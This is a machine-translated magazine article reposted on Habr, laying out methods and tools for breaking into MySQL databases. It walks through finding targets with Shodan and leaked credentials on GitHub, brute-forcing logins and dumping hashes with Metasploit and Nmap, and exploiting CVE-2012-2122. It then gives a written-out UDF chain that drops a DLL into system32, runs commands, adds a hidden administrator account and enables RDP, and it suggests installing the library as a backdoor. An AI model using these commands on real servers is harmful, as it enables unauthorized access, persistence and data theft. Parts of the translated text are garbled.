📜 ⬆️ ⬇️

We play with muscles. Methods and tools for hacking MySQL databases



MySQL is one of the most common DBMSs. It can be found everywhere, but most often it is used by numerous sites. That is why database security is a very important issue, because if an attacker has access to the database, then there is a high probability that he will compromise not only the resource, but also the entire local network. Therefore, I decided to collect all the useful info on cracking and post-exploitation of MySQL, all the tricks and techniques that are used during pentest, so that you can check your DBMS. 0day-technician will not be here: someone will repeat the theory again, and someone will learn something new. So let's go!

Instead of the preface


Let's start with the definition. MySQL is a relational database management system that has different data storage engines: MyISAM, InnoDB, Archive, and others. Like most open source projects, it has its own branches, for example MariaDB. Looking ahead, I will say that most of the considered vectors / technician / bugs apply to various engines and branches, though not always.

Www


Different versions of MySQL for different platforms can be found here.

Search for victims


But let's get straight to the point. In order to break someone, you need to find him first. Suppose that we already know who our victim is, we know his IP or are in his local network. We need to scan its address (network) for open ports. According to the standard MySQL uses port 3306, and we will look for it. Each hacker should have an Nmap scanner in its arsenal that allows you to find various services and ports on target machines. An example of a command to scan is as follows:
')
nmap -sV -PN -p <port> <ip> 


For a UDP scan, the -sU flag must be present.

 nmap -sV -Pn -p 3306 172.16.2.114 Nmap scan report for 172.16.2.114 Host is up (0.00013s latency). PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL (unauthorized) 

SHODAN


If you do not have a certain sacrifice and you want to test your skills, you can use the hacker search engine Shodan . It allows you to search for hosts and display information about various services based on response banners. Also has the ability to filter by port, country, city, operating systems, and so on. One of the great chips is a search for services with anonymous authorization or authorization with standard credits. Very useful service, but it is best to conduct vulnerability tests on your local resources :).


Fig. 1. MySQL search results in Shodan

Github


One of the coolest pieces of easy access to databases is the search for the sources of any projects on GitHub. Before searching and promoting SQL Inj on the site, which can take quite a long time (if there are any), you just need to go to your favorite site for joint development, enter a few words and, with proper luck, gain access to the tools. Many developers, for no apparent reason, upload their projects to the public - maybe foolishly, maybe they feel sorry for the money on a private repository, or maybe they want to share their great code with the whole world, but on GitHub there is a huge pile of sources, from small Saytik to large projects. This often greatly simplifies the work. Suppose if we enter such a search query `username mysql password database`, then we can simply lose consciousness of the number of results. Especially a lot of sweet PHP-files in which the connection to the database is written.


Fig. 2. Visual results on the search for MySQL credits on GitHub

Therefore, first of all, at pentest, we run and check GitHub for the presence of client sources. If something is located, then you can safely connect to the database, then, starting from the rights, you can retrieve the data we need. But if it turned out that we could not find the cherished username / password lines, you should not despair - you can rummage through the source codes of sites, if they are present, and do not conduct an audit blindly, but with the source code of the service. It greatly facilitates the task of searching for vulnerabilities: now we will not just phased at random, but will check certain vectors built on the basis of source codes. For example, look at the places where a call is made to the database, whether filtering data from the client is used, and so on.

Tools


There are different ways to search for injections: automatically or manually insert a quote everywhere (fuzzing); use a chip with Github, relying on the carelessness of the developers of the service being investigated. Finally, the moment of truth has come: we have found our long-awaited injection and are ready to be introduced to the full. But the trouble is, we have urgent business (friends call to drink beer), or terrible and irresistible laziness overcame us. You shouldn’t get upset; an excellent sqlmap tool will come to the rescue , which automates the process of searching and exploiting SQL injections, and not just finds a security hole, but exploits it in full. Supports all types of injections. The sqlmap functionality allows you to: dump databases, automatically search the database, extract and decrypt logins and passwords, run the cmd shell, run an interactive sql shell, in which you only need to write SQL queries to the database, and sqlmap itself will make the payload for the injection. There is an excellent Cheet Sheet , which in two pages shows all the features of this tool.

There are some more tools that will be useful to you in the difficult task of conquering MySQL. They do not need a special presentation, because you probably have heard about them more than once (more than one thousand times). The first is Metasploit, one of the key hacking programs that allows you to create exploits and debug them. The second is the Nmap scanner, about which they also wrote in the magazine more than once. Information on all the above tools is abundant, so we will not delve into the details of their use, who have not yet used them - must necessarily do it, and Google and official websites will help him with this. We are moving on.

Collection of information


We need to start with the simplest - collecting information. In Metasploit, this is done with `auxiliary / scanner / mysql / mysql_version`, just a version scanner that can scan an entire address pool:

 msf > use auxiliary/scanner/mysql/mysql_version msf auxilary(mysql_version) > set RHOSTS 172.16.2.54 msf auxilary(mysql_version) > exploit 

Nmap also has a module that connects to the server and displays various useful information: protocol, version number, status, and salt.

 nmap -sV -sC <target> 

Brutfors


Among the main things that often have to perform, of course, brute force - checking for weak or standard user passwords. But before proceeding to the selection of passwords, it is possible to attack user enumeration (transfer of users). It can be used against version 5.x servers that support old authentication mechanisms (CVE-2012-5615). After scanning, we will know which users exist in the database, which significantly reduces the user pool for bjuthor.

 nmap --script mysql-enum <target> 

Making our pool of names and passwords, we proceed to the brutus:

 msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > set USER_FILE /root/login/logins msf auxiliary(mysql_login) > set PASS_FILE /root/login/password msf auxiliary(mysql_login) > set RHOSTS 172.16.2.54 msf auxiliary(mysql_login) > exploit 

Nmap uses standard password and user lists, but you can always get your own:

 nmap --script mysql-brute <target> --script-args userdb=<path> -     --script-args passdb=<path> -     

By the way, here's a great repository for you , where you can find the most popular logins, passwords and more. Well, usually with bruteforce another simple but quite important check is performed on an empty password for the root or anonymous user:

 nmap -sV --script=mysql-empty-password <target> 

Post-operation


The next important step, which comes after receiving a login / password (via injection or brute force), is post-operation. I will list the various modules for Nmap and their purpose. So, the module that produces the database output:

 nmap -sV --script mysql-databases <target> 

The module that produces user output:

 nmap -sV --script mysql-users <target> 

The module that produces the output variables:

 nmap -sV --script mysql-variables <target> 

The module that produces the output of users and their hashes in the form convenient for brute force:

 nmap -p 3306 <ip> --script mysql-dump-hashes –script args='username=root,password=secret' msf>use auxiliary/admin/mysql/mysql_hashdump 

A module that replaces the MySQL client and sends requests to the remote database:

 nmap -p 3306 <ip> --script mysql-query --script-\ args='query="<query>"[,username=<username>,password=<password>]' msf>use auxiliary/admin/mysql/mysql_sql 

Scanning for CVE-2012-2122


We should also mention one interesting module, which is present in both Metasploit and Nmap, the verification module for CVE-2012-2122 . This vulnerability allows remote users to bypass authentication due to inadequate validation of return values. It is possible to log in with the wrong password with a probability of 1/256, since MySQL believes that the incoming token from the user and the expected value are equal. Using the well-known user name (for example, root, which is almost always present) with any password, you can connect to the database by repeating the connection about 300 times. After that, you can reset all user passwords, bind them and connect with a legitimate password. But not everything is as good as it seems - only assemblies are exposed to this vulnerability, where the memcmp () function returns values ​​outside the range from –128 to 127, that is, a fairly limited number of systems:


But if there is even the smallest opportunity to get into the database, then it is worth trying:

 msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 172.16.2.54 msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > exploit 

For Nmap, you need to use the `mysql-vuln-cve2012-2122` script when scanning:

 nmap -sV --script mysql-vuln-cve2012-2122 <target> 

Bearded UDF


In the distant past, when no triggers and stored procedures were introduced in the MySQL universe, there was support for the User-Defined Function (user-defined functions). But in the modern world, this feature also has a place to be and is still maintained as external stored functions. These functions do not just combine different SQL statements into a specific query, but also greatly expand the functionality of the database itself. Since, unlike Oracle Database, MySQL does not have the coolest Java machine, with which you can destroy everything and everyone in the database, one of the few ways to execute commands on the server through the database remains UDF. At the time of the 4th version of MySQL, it was the Raptor exploit, but it had a number of limitations, including incompatibility with MySQL 5.0 and higher.

At the moment there is a legal library that can be downloaded from a legal site . It contains four functions:

  1. `sys_eval (arg1)` - executes an arbitrary command and returns the output of an external command.
  2. `sys_exec (arg1)` - executes an arbitrary command and returns a return code.
  3. `sys_get (arg1)` - allows you to get an environment variable or NULL if there is none.
  4. `sys_set (arg1, arg2)` - allows you to set an environment variable (parameters: variable name, value), returns 0 if successful.

The library is installed in one of the paths `/ usr / lib / mysql`,` / usr / lib / mysql / plugin / `or others depending on the system. Then comes the time to execute commands in the database. But first you need to create a function:

 CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; 

And then you can already execute various commands with its help:

 select sys_eval('whoami'); 

To create and delete functions, you must have the privileges of INSERT and DELETE. Therefore, you can exploit this bug only if the user to whom you have access has the privilege `FILE`, which allows you to read and write files to the server using the operators` LOAD DATA INFILE` and `SELECT ... INTO OUTFILE`. This option is always worth checking out because careless admins still exist. Often, many people work with the database on behalf of root, so even an injection can be enough to get full control over the machine. You can view privileges in the `user`,` db`, `host`,` tables_priv` and `columns_priv` table in the` mysql` database. `set mysql;` - to change the base, `select * from user;` - to display the table.

The second condition is that the `lib_mysqludf_sys` function is already installed in MySQL. Then everything is simple - you create a function, execute commands. Another option is to install it yourself as a backdoor in the system. If you need remote, hidden access to the system, then the option of pumping the base using the legitimate, hand-made installation of `lib_mysqludf_sys` looks a good way. This technique is not new, and therefore everything before us has already been done and automated, so you don’t have to install the function yourself if you have Metasploit on hand:

 use exploit/windows/mysql/mysql_payload msf exploit(mysql_payload) > set PASSWORD qwert msf exploit(mysql_payload) > set RHOST 172.16.2.54 msf exploit(mysql_payload) > set USERNAME root msf exploit(mysql_payload) > exploit 

Sqlmap can do the same, so if you have found an injection, then you can safely give the reins to it.

UDF usage scenario


One of the possible scenarios for shell / privilege elevation might look like this. First you need to get access to the database itself (the root user or another one with the privilege `FILE`) through injection, brute force or otherwise. After that we need to get a copy of the UDF library on the attacked machine, taking into account the operating system and its bit depth. You can use the options included in the sqlmap, which can be taken here . By the way, in this repository there are also libraries for Windows. You can upload a copy of the library to the server in different ways:



The next step is to execute SQL queries in order to load our shell into the table, and then extract it to the folder we need (`/ usr / lib` for Linux,` c: \ windows \ system32` for Windows). Next, we create a new function in MySQL, now we have a working shell and the ability to RCE on the server.

Windows example with user creation:

 mysql> USE mysql; mysql> CREATE TABLE bob(line blob); mysql> INSERT INTO bob values(load_file('C:/xampplite/htdocs/mail/lib_mysqludf_sys.dll')); mysql> SELECT * FROM mysql.bob INTO DUMPFILE 'c:/windows/system32/lib_mysqludf_sys.dll'; mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.dll'; mysql> SELECT sys_exec("net user bob password /add"); mysql> SELECT sys_exec("net localgroup Administrators bob /add"); 

Alternatively, you can connect RDP:

 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 

Conclusion


There are not so many points of entry into another MySQL database compared to other DBMS: SQL Injection, search for usernames and passwords on GitHub, brute force, vulnerability to public bug. The post-exploitation methods can also be additionally attributed to privilege escalation , DoS attacks , the use of triggers and stored procedures. True, some of them relate to particular cases, which are rarely found or for which very specific conditions are needed.

I wanted to show you how you can quickly and effortlessly check the desired base. As you can see, at the moment everything has become automated, which allows you to check in the background, doing your own business. That's all. And remember that great power imposes great responsibility :).

image

First published in the magazine "Hacker" from 04/2015.
By: Egor Karbutov Digital Security ( @Lukesparamore , lukesparamore@gmail.com)

Subscribe to "Hacker"

Source: https://habr.com/ru/post/256665/


All Articles